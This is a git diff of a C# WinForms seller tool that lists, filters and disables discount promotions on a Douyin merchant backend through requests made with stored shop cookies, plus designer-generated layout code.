this.dgvActive.Location = new System.Drawing.Point(4, 0); + this.dgvActive.Name = "dgvActive"; + this.dgvActive.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvActive.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvActive.RowTemplate.Height = 23; + this.dgvActive.Size = new System.Drawing.Size(1026, 386); + this.dgvActive.TabIndex = 6; + this.dgvActive.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvActive_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 30; + // + // colActiveId + // + this.colActiveId.HeaderText = "活动Id"; + this.colActiveId.Name = "colActiveId"; + this.colActiveId.ReadOnly = true; + this.colActiveId.Visible = false; + // + // colActiveName + // + this.colActiveName.HeaderText = "活动名称"; + this.colActiveName.Name = "colActiveName"; + this.colActiveName.ReadOnly = true; + this.colActiveName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colActiveName.Width = 75; + // + // colPreStartTime + // + this.colPreStartTime.HeaderText = "优惠信息"; + this.colPreStartTime.Name = "colPreStartTime"; + this.colPreStartTime.ReadOnly = true; + this.colPreStartTime.Width = 250; + // + // colPrefereType + // + this.colPrefereType.HeaderText = "活动商品"; + this.colPrefereType.Name = "colPrefereType"; + this.colPrefereType.ReadOnly = true; + this.colPrefereType.Width = 240; + // + // colStartTime + // + this.colStartTime.HeaderText = "活动开始时间"; + this.colStartTime.Name = "colStartTime"; + this.colStartTime.ReadOnly = true; + this.colStartTime.Width = 110; + // + // colEndTime + // + this.colEndTime.HeaderText = "活动结束时间"; + this.colEndTime.Name = "colEndTime"; + this.colEndTime.ReadOnly = true; + this.colEndTime.Width = 110; + // + // colActiveState + // + this.colActiveState.HeaderText = "活动状态"; + this.colActiveState.Name = "colActiveState"; + this.colActiveState.ReadOnly = true; + this.colActiveState.Width = 65; + // + // colMessage + // + this.colMessage.HeaderText = "消息提示"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 240; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.MidnightBlue; + this.label1.Location = new System.Drawing.Point(651, 5); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(43, 17); + this.label1.TabIndex = 5; + this.label1.Text = "label1"; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1034, 27); + this.statusBar.TabIndex = 4; + // + // FullMinusActiveForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1034, 459); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "FullMinusActiveForm"; + this.Text = "FullMinusActiveForm"; + this.Load += new System.EventHandler(this.FullMinusActiveForm_Load); + this.panel1.ResumeLayout(false); + this.panel4.ResumeLayout(false); + this.panel4.PerformLayout(); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvActive)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbActState; + private DevComponents.Editors.ComboItem comboItem1; + private DevComponents.Editors.ComboItem comboItem2; + private DevComponents.Editors.ComboItem comboItem3; + private DevComponents.Editors.ComboItem comboItem4; + private DevComponents.Editors.ComboItem comboItem5; + private DevComponents.DotNetBar.PanelEx btnFailed; + private DevComponents.DotNetBar.PanelEx btnSearch; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Panel panel4; + private System.Windows.Forms.TextBox txtActName; + private System.Windows.Forms.Label lblActivity; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvActive; + private System.Windows.Forms.Label label1; + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colActiveId; + private System.Windows.Forms.DataGridViewTextBoxColumn colActiveName; + private System.Windows.Forms.DataGridViewTextBoxColumn colPreStartTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrefereType; + private System.Windows.Forms.DataGridViewTextBoxColumn colStartTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colEndTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colActiveState; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/FullMinusActiveForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusActiveForm.cs new file mode 100644 index 0000000..404b184 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusActiveForm.cs @@ -0,0 +1,353 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class FullMinusActiveForm : Form + { + private DouShopLoginInfo shop = null; + public List lstActiveId = new List(); + public FullMinusForm fullMinusForm = null; + private string _signature = ""; + private string _underline = ""; + public bool isGetActiveSuccess = false; + public List activeList = new List(); + + public FullMinusActiveForm(DouShopLoginInfo _shop = null) + { + InitializeComponent(); + + shop = _shop; + } + + private void FullMinusActiveForm_Load(object sender, EventArgs e) + { + cmbActState.SelectedIndex = 0; + txtActName.Focus(); + } + + private void dgvActive_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string columnName = dgvActive.Columns[e.ColumnIndex].Name; + long ActiveId = dgvActive.Rows[e.RowIndex].Cells["colActiveId"].Value.ParseToLong(); + var row = dgvActive.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvActive.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + { + if (lstActiveId.Any(p => p == ActiveId)) + lstActiveId.RemoveAll(p => p == ActiveId); + lstActiveId.Add(ActiveId); + } + else + lstActiveId.Remove(ActiveId); + break; + } + } + + public void GetActive() + { + if (shop == null) + return; + + ShowVisitorMessage(""); + Task.Run(() => + { + if (shop.LoginStatus == "登录成功") + fullMinusForm.GetActiveByCef(this.shop); + + var rowsTemp = dgvActive.Rows.Cast().ToList(); + rowsTemp.Reverse(); + }); + } + + public void GetActiveSim(string listUrl, string referrerUrl, Dictionary headers, string firstPageData = "") + { + ShowVisitorMessage(""); + + int total = -1; + int number = 0; + string result = ""; + if (!string.IsNullOrEmpty(firstPageData)) + result = firstPageData; + + //获取所有活动 + if (string.IsNullOrEmpty(_underline)) + _underline = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_underline)) + _underline = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)"); + if (string.IsNullOrEmpty(_underline)) + _underline = BaseClass.DateTimeToTimestampMilliseconds(DateTime.Now).ToString(); + if (string.IsNullOrEmpty(_signature)) + _signature = BaseRegex.GetMatchRegexString(ref listUrl, "&_signature=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_signature)) + { + var listUrl2 = listUrl + "&"; + _signature = BaseRegex.GetMatchRegexString(ref listUrl2, "&_signature=([\\s\\S]+?)&"); + } + listUrl = "https://fxg.jinritemai.com/marketing/activity/v1/query_full_discount_activity?activity_status=0&page=1&pageSize=20&_bid=ecom_market_shop&appid=1&_=" + _underline + "&_signature=" + _signature; + for (int i = 1; i < 9999; i++) + { + number += 20; + for (int j = 0; j < 3 && !result.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (headers.ContainsKey("Accept")) + simRequest.Accept = headers["Accept"]; + if (headers.ContainsKey("UserAgent")) + simRequest.UserAgent = headers["UserAgent"]; + var cookie = shop.Cookies; + + var rUrl = listUrl.Replace("page=1", "page=" + i); + result = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(2000, 3000)); + } + } + + + if (result.Contains(",\"msg\":\"成功\",\"st\":0") && !fullMinusForm.cancellationTokenSource.IsCancellationRequested) + { + this.isGetActiveSuccess = true; + + if (total == -1) + { + total = BaseRegex.GetIntJson(ref result, "total"); + } + + var jObj = JObject.Parse(result); + var aList = JsonHelper.DeserializeJsonToList(jObj["data"]["data"]?.ToString()); + foreach (var info in aList) + { + if (this.activeList.Any(p => p.activity_id == info.activity_id)) + this.activeList.RemoveAll(p => p.activity_id == info.activity_id); + this.activeList.Add(info); + } + Thread.Sleep(Randomx.GetId(1500, 2000)); + } + else + { + isGetActiveSuccess = false; + break; + } + result = ""; + if (number >= total) + break; + } + Invoke(new Action(() => + { + if (fullMinusForm.cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "获取中断"; + } + else if (!isGetActiveSuccess) + { + this.statusBar.lblTaskStatus.Text = "获取活动信息失败"; + } + else + { + this.statusBar.lblTaskStatus.Text = "获取完成"; + } + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + } + + public void ShowVisitorMessage(string msg) + { + Invoke(new Action(() => { this.label1.Text = msg; })); + } + + private void btnSearch_Click(object sender, EventArgs e) + { + ShowVisitorMessage(""); + ShowVisitorMessage("查询开始"); + if (this.activeList.Count == 0) + { + if (fullMinusForm.cancellationTokenSource.IsCancellationRequested) + fullMinusForm.cancellationTokenSource = new CancellationTokenSource(); + GetActiveSim("https://fxg.jinritemai.com/marketing/activity/v1/query_full_discount_activity?page=1&pageSize=20&activity_status=0&_bid=ecom_market_shop&appid=1&_=" + _underline + "&_signature=" + _signature, "https://fxg.jinritemai.com/market/center/tools/moneyoff", new Dictionary()); + } + var name = txtActName.Text.Trim(); + var stateText = cmbActState.SelectedItem.ToString(); + var stateVal = stateText == "全部" ? "0" : (stateText == "进行中" ? "2" : (stateText == "已结束" ? "3" : (stateText == "未开始" ? "1" : "4"))); + if ((name == "" && stateVal == "0" && this.dgvActive.Rows.Count == this.activeList.Count) || this.activeList.Count == 0) + { + ShowVisitorMessage("查询完成!"); + return; + } + Task.Run(() => { + List infos = new List(); + infos = this.activeList; + if (!string.IsNullOrEmpty(name)) + infos = infos.Where(x => x.activity_name == name).ToList(); + if (stateVal != "0") + infos = infos.Where(x => x.activity_status == stateVal.ParseToInt()).ToList(); + int totals = infos.Count; + Invoke(new Action(() => { + this.dgvActive.Rows.Clear(); + for (int j = 0; j < totals; j++) + { + var info = infos[j]; + var status = info.activity_status == 3 ? "已结束" : (info.activity_status == 2 ? "进行中" : (info.activity_status == 1 ? "未开始" : "已失效")); + string activeOff = string.Empty; + if (info.discounts != null) + { + if (info.activity_type == 1) + { + foreach (var dis in info.discounts) + { + activeOff += "满" + dis.condition_value.ParseToDecimal() / 100 + "元减" + dis.discount.ParseToDecimal() / 100 + "元;"; + } + } + else if (info.discount_type == 1) + { + foreach (var dis in info.discounts) + { + activeOff += "满" + dis.condition_value + "件打" + dis.discount.ParseToDecimal() / 10 + "折;"; + } + } + else + { + foreach (var dis in info.discounts) + { + activeOff += "满" + dis.condition_value + "件减" + dis.discount.ParseToDecimal() / 100 + "元;"; + } + } + activeOff = activeOff.TrimEnd(';'); + } + string activePro = string.Empty; + if (info.activity_products != null) + { + foreach (var pro in info.activity_products) + { + activePro += pro.name + ";"; + } + activePro = activePro.TrimEnd(';'); + } + if (lstActiveId.Contains(info.activity_id.ParseToLong())) + this.dgvActive.Rows.Add(true, info.activity_id, info.activity_name, activeOff, activePro, BaseClass.StampToDateTime(info.start_time.ParseToInt()), BaseClass.StampToDateTime(info.end_time.ParseToInt()), status); + else + this.dgvActive.Rows.Add(false, info.activity_id, info.activity_name, activeOff, activePro, BaseClass.StampToDateTime(info.start_time.ParseToInt()), BaseClass.StampToDateTime(info.end_time.ParseToInt()), status); + } + })); + ShowVisitorMessage("查询完成!"); + }); + } + + private void btnFailed_Click(object sender, EventArgs e) + { + if (dgvActive.Rows.Count == 0 || lstActiveId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择待失效的活动!"); + return; + } + if (BaseMsgForm.ShowConfirm("确定将该活动设置为失效?").DialogResult == DialogResult.OK) + { + var failUrl = "https://fxg.jinritemai.com/marketing/activity/v1/disable_product_activity?activity_id={0}&_bid=ecom_market_shop&appid=1&_=" + _underline + "&_signature=" + _signature; + var cookies = shop.Cookies; + Task.Run(() => + { + for (int i = 0; i < dgvActive.Rows.Count; i++) + { + DataGridViewRow row = dgvActive.Rows[i]; + long ActiveId = row.Cells["colActiveId"].Value.ParseToLong(); + if (lstActiveId.Any(p => p == ActiveId)) + { + string name = row.Cells["colActiveName"].Value.ToString(); + var colActiveState = row.Cells["colActiveState"].Value.ToString(); + if (colActiveState != "进行中" && colActiveState != "未开始") + { + Invoke(new Action(() => { row.Cells["colMessage"].Value = name + "活动" + colActiveState + ",无需设置失效!"; })); + continue; + } + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + var reqUrl = string.Format(failUrl, ActiveId); + string result = request.Request_Get(reqUrl, "https://fxg.jinritemai.com/market/center/tools/moneyoff", dicts, cookies); + if (result.Contains(",\"msg\":\"成功\",\"st\":0")) + { + Invoke(new Action(() => + { + var activeInfo = activeList.Where(x => x.activity_id == ActiveId.ToString()).FirstOrDefault(); + if (activeInfo != null) + { + activeInfo.activity_status = 4; + row.Cells["colActiveState"].Value = "已失效"; + row.Cells["colMessage"].Value = "设置失效已完成!"; + } + })); + Thread.Sleep(1000); + } + else + { + Invoke(new Action(() => { row.Cells["colMessage"].Value = "设置失效失败 :" + BaseRegex.GetStringJson(ref result, "msg"); })); + } + } + } + }); + } + } + + public void ClearData() + { + this.lstActiveId.Clear(); + this.activeList.Clear(); + this.dgvActive.Rows.Clear(); + } + } + + public class FullMinusActiveInfo + { + public string activity_id { get; set; } + public int activity_type { get; set; } + public string activity_name { get; set; } + public long start_time { get; set; } + public long end_time { get; set; } + public int discount_type { get; set; } + public int activity_status { get; set; } + public string enable_use_coupon { get; set; } + public List discounts { get; set; } + public List activity_products { get; set; } + } + public class ActiveDiscounts + { + public long activity_id { get; set; } + public long discount_id { get; set; } + public int condition_type { get; set; } + public string condition_value { get; set; } + public int discount_type { get; set; } + public string discount { get; set; } + public int discount_level { get; set; } + } + public class ActiveProducts + { + public string activity_id { get; set; } + public long shop_id { get; set; } + public string product_id { get; set; } + public int status { get; set; } + public string name { get; set; } + public string img { get; set; } + public long stock_num { get; set; } + public long max_price { get; set; } + public long min_price { get; set; } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/FullMinusActiveForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusActiveForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusActiveForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/FullMinusForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusForm.Designer.cs new file mode 100644 index 0000000..afbc5c4 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusForm.Designer.cs @@ -0,0 +1,2016 @@ + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class FullMinusForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.ucGroupBoxEx4 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.panel12 = new System.Windows.Forms.Panel(); + this.panel15 = new System.Windows.Forms.Panel(); + this.btnRemove9 = new DevComponents.DotNetBar.PanelEx(); + this.label33 = new System.Windows.Forms.Label(); + this.txtP18 = new System.Windows.Forms.TextBox(); + this.txtP17 = new System.Windows.Forms.TextBox(); + this.label34 = new System.Windows.Forms.Label(); + this.label35 = new System.Windows.Forms.Label(); + this.panel13 = new System.Windows.Forms.Panel(); + this.btnRemove11 = new DevComponents.DotNetBar.PanelEx(); + this.label27 = new System.Windows.Forms.Label(); + this.txtP22 = new System.Windows.Forms.TextBox(); + this.txtP21 = new System.Windows.Forms.TextBox(); + this.label28 = new System.Windows.Forms.Label(); + this.label29 = new System.Windows.Forms.Label(); + this.btnAdd3 = new DevComponents.DotNetBar.PanelEx(); + this.panel14 = new System.Windows.Forms.Panel(); + this.btnRemove10 = new DevComponents.DotNetBar.PanelEx(); + this.label30 = new System.Windows.Forms.Label(); + this.txtP20 = new System.Windows.Forms.TextBox(); + this.txtP19 = new System.Windows.Forms.TextBox(); + this.label31 = new System.Windows.Forms.Label(); + this.label32 = new System.Windows.Forms.Label(); + this.panel16 = new System.Windows.Forms.Panel(); + this.panel8 = new System.Windows.Forms.Panel(); + this.btnRemove6 = new DevComponents.DotNetBar.PanelEx(); + this.label18 = new System.Windows.Forms.Label(); + this.txtP12 = new System.Windows.Forms.TextBox(); + this.txtP11 = new System.Windows.Forms.TextBox(); + this.label19 = new System.Windows.Forms.Label(); + this.label20 = new System.Windows.Forms.Label(); + this.btnAdd2 = new DevComponents.DotNetBar.PanelEx(); + this.panel11 = new System.Windows.Forms.Panel(); + this.btnRemove8 = new DevComponents.DotNetBar.PanelEx(); + this.label24 = new System.Windows.Forms.Label(); + this.txtP16 = new System.Windows.Forms.TextBox(); + this.txtP15 = new System.Windows.Forms.TextBox(); + this.label25 = new System.Windows.Forms.Label(); + this.label26 = new System.Windows.Forms.Label(); + this.panel10 = new System.Windows.Forms.Panel(); + this.btnRemove7 = new DevComponents.DotNetBar.PanelEx(); + this.label21 = new System.Windows.Forms.Label(); + this.txtP14 = new System.Windows.Forms.TextBox(); + this.txtP13 = new System.Windows.Forms.TextBox(); + this.label22 = new System.Windows.Forms.Label(); + this.label23 = new System.Windows.Forms.Label(); + this.panel9 = new System.Windows.Forms.Panel(); + this.rdoReduction = new System.Windows.Forms.RadioButton(); + this.rdoDiscount = new System.Windows.Forms.RadioButton(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnAdd1 = new DevComponents.DotNetBar.PanelEx(); + this.panel7 = new System.Windows.Forms.Panel(); + this.btnRemove5 = new DevComponents.DotNetBar.PanelEx(); + this.label15 = new System.Windows.Forms.Label(); + this.txtP10 = new System.Windows.Forms.TextBox(); + this.txtP9 = new System.Windows.Forms.TextBox(); + this.label16 = new System.Windows.Forms.Label(); + this.label17 = new System.Windows.Forms.Label(); + this.panel6 = new System.Windows.Forms.Panel(); + this.btnRemove4 = new DevComponents.DotNetBar.PanelEx(); + this.label12 = new System.Windows.Forms.Label(); + this.txtP8 = new System.Windows.Forms.TextBox(); + this.txtP7 = new System.Windows.Forms.TextBox(); + this.label13 = new System.Windows.Forms.Label(); + this.label14 = new System.Windows.Forms.Label(); + this.panel4 = new System.Windows.Forms.Panel(); + this.btnRemove3 = new DevComponents.DotNetBar.PanelEx(); + this.label9 = new System.Windows.Forms.Label(); + this.txtP6 = new System.Windows.Forms.TextBox(); + this.txtP5 = new System.Windows.Forms.TextBox(); + this.label10 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.panel3 = new System.Windows.Forms.Panel(); + this.btnRemove2 = new DevComponents.DotNetBar.PanelEx(); + this.label6 = new System.Windows.Forms.Label(); + this.txtP4 = new System.Windows.Forms.TextBox(); + this.txtP3 = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.pnlDiscount = new System.Windows.Forms.Panel(); + this.btnRemove1 = new DevComponents.DotNetBar.PanelEx(); + this.label5 = new System.Windows.Forms.Label(); + this.txtP2 = new System.Windows.Forms.TextBox(); + this.txtP1 = new System.Windows.Forms.TextBox(); + this.label4 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.dptEndTime = new System.Windows.Forms.DateTimePicker(); + this.dptStartTime = new System.Windows.Forms.DateTimePicker(); + this.lblEndTime = new System.Windows.Forms.Label(); + this.lblStartTime = new System.Windows.Forms.Label(); + this.panel5 = new System.Windows.Forms.Panel(); + this.txtActName = new System.Windows.Forms.TextBox(); + this.lblName = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.panel1 = new System.Windows.Forms.Panel(); + this.rdoAllow = new System.Windows.Forms.RadioButton(); + this.rdoNotAllow = new System.Windows.Forms.RadioButton(); + this.panel2 = new System.Windows.Forms.Panel(); + this.rdoOverPieces = new System.Windows.Forms.RadioButton(); + this.rdoOverYuan = new System.Windows.Forms.RadioButton(); + this.lblType = new System.Windows.Forms.Label(); + this.btnManagerAct = new DevComponents.DotNetBar.PanelEx(); + this.btnSubAct = new DevComponents.DotNetBar.PanelEx(); + this.btnGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.btnStopGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCanUse = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.ucTabControl1 = new LittleRabbit.UserComponent.UcTabControl(); + this.tabPageCheckResult = new System.Windows.Forms.TabPage(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.btnClear = new DevComponents.DotNetBar.PanelEx(); + this.tabPageViolateFileList = new System.Windows.Forms.TabPage(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + this.ucGroupBoxEx4.SuspendLayout(); + this.panel12.SuspendLayout(); + this.panel15.SuspendLayout(); + this.panel13.SuspendLayout(); + this.panel14.SuspendLayout(); + this.panel16.SuspendLayout(); + this.panel8.SuspendLayout(); + this.panel11.SuspendLayout(); + this.panel10.SuspendLayout(); + this.panel9.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + this.panel7.SuspendLayout(); + this.panel6.SuspendLayout(); + this.panel4.SuspendLayout(); + this.panel3.SuspendLayout(); + this.pnlDiscount.SuspendLayout(); + this.panel5.SuspendLayout(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.panelEx1.SuspendLayout(); + this.ucTabControl1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1350, 561); + this.splitContainer1.SplitterDistance = 160; + this.splitContainer1.TabIndex = 7; + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.ucGroupBoxEx4); + this.ucGroupBoxEx2.Controls.Add(this.ucGroupBoxEx3); + this.ucGroupBoxEx2.Controls.Add(this.label2); + this.ucGroupBoxEx2.Controls.Add(this.dptEndTime); + this.ucGroupBoxEx2.Controls.Add(this.dptStartTime); + this.ucGroupBoxEx2.Controls.Add(this.lblEndTime); + this.ucGroupBoxEx2.Controls.Add(this.lblStartTime); + this.ucGroupBoxEx2.Controls.Add(this.panel5); + this.ucGroupBoxEx2.Controls.Add(this.lblName); + this.ucGroupBoxEx2.Controls.Add(this.label1); + this.ucGroupBoxEx2.Controls.Add(this.panel1); + this.ucGroupBoxEx2.Controls.Add(this.panel2); + this.ucGroupBoxEx2.Controls.Add(this.lblType); + this.ucGroupBoxEx2.Controls.Add(this.btnManagerAct); + this.ucGroupBoxEx2.Controls.Add(this.btnSubAct); + this.ucGroupBoxEx2.Controls.Add(this.btnGetProduct); + this.ucGroupBoxEx2.Controls.Add(this.btnStopGetProduct); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(146, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(1202, 160); + this.ucGroupBoxEx2.TabIndex = 423; + 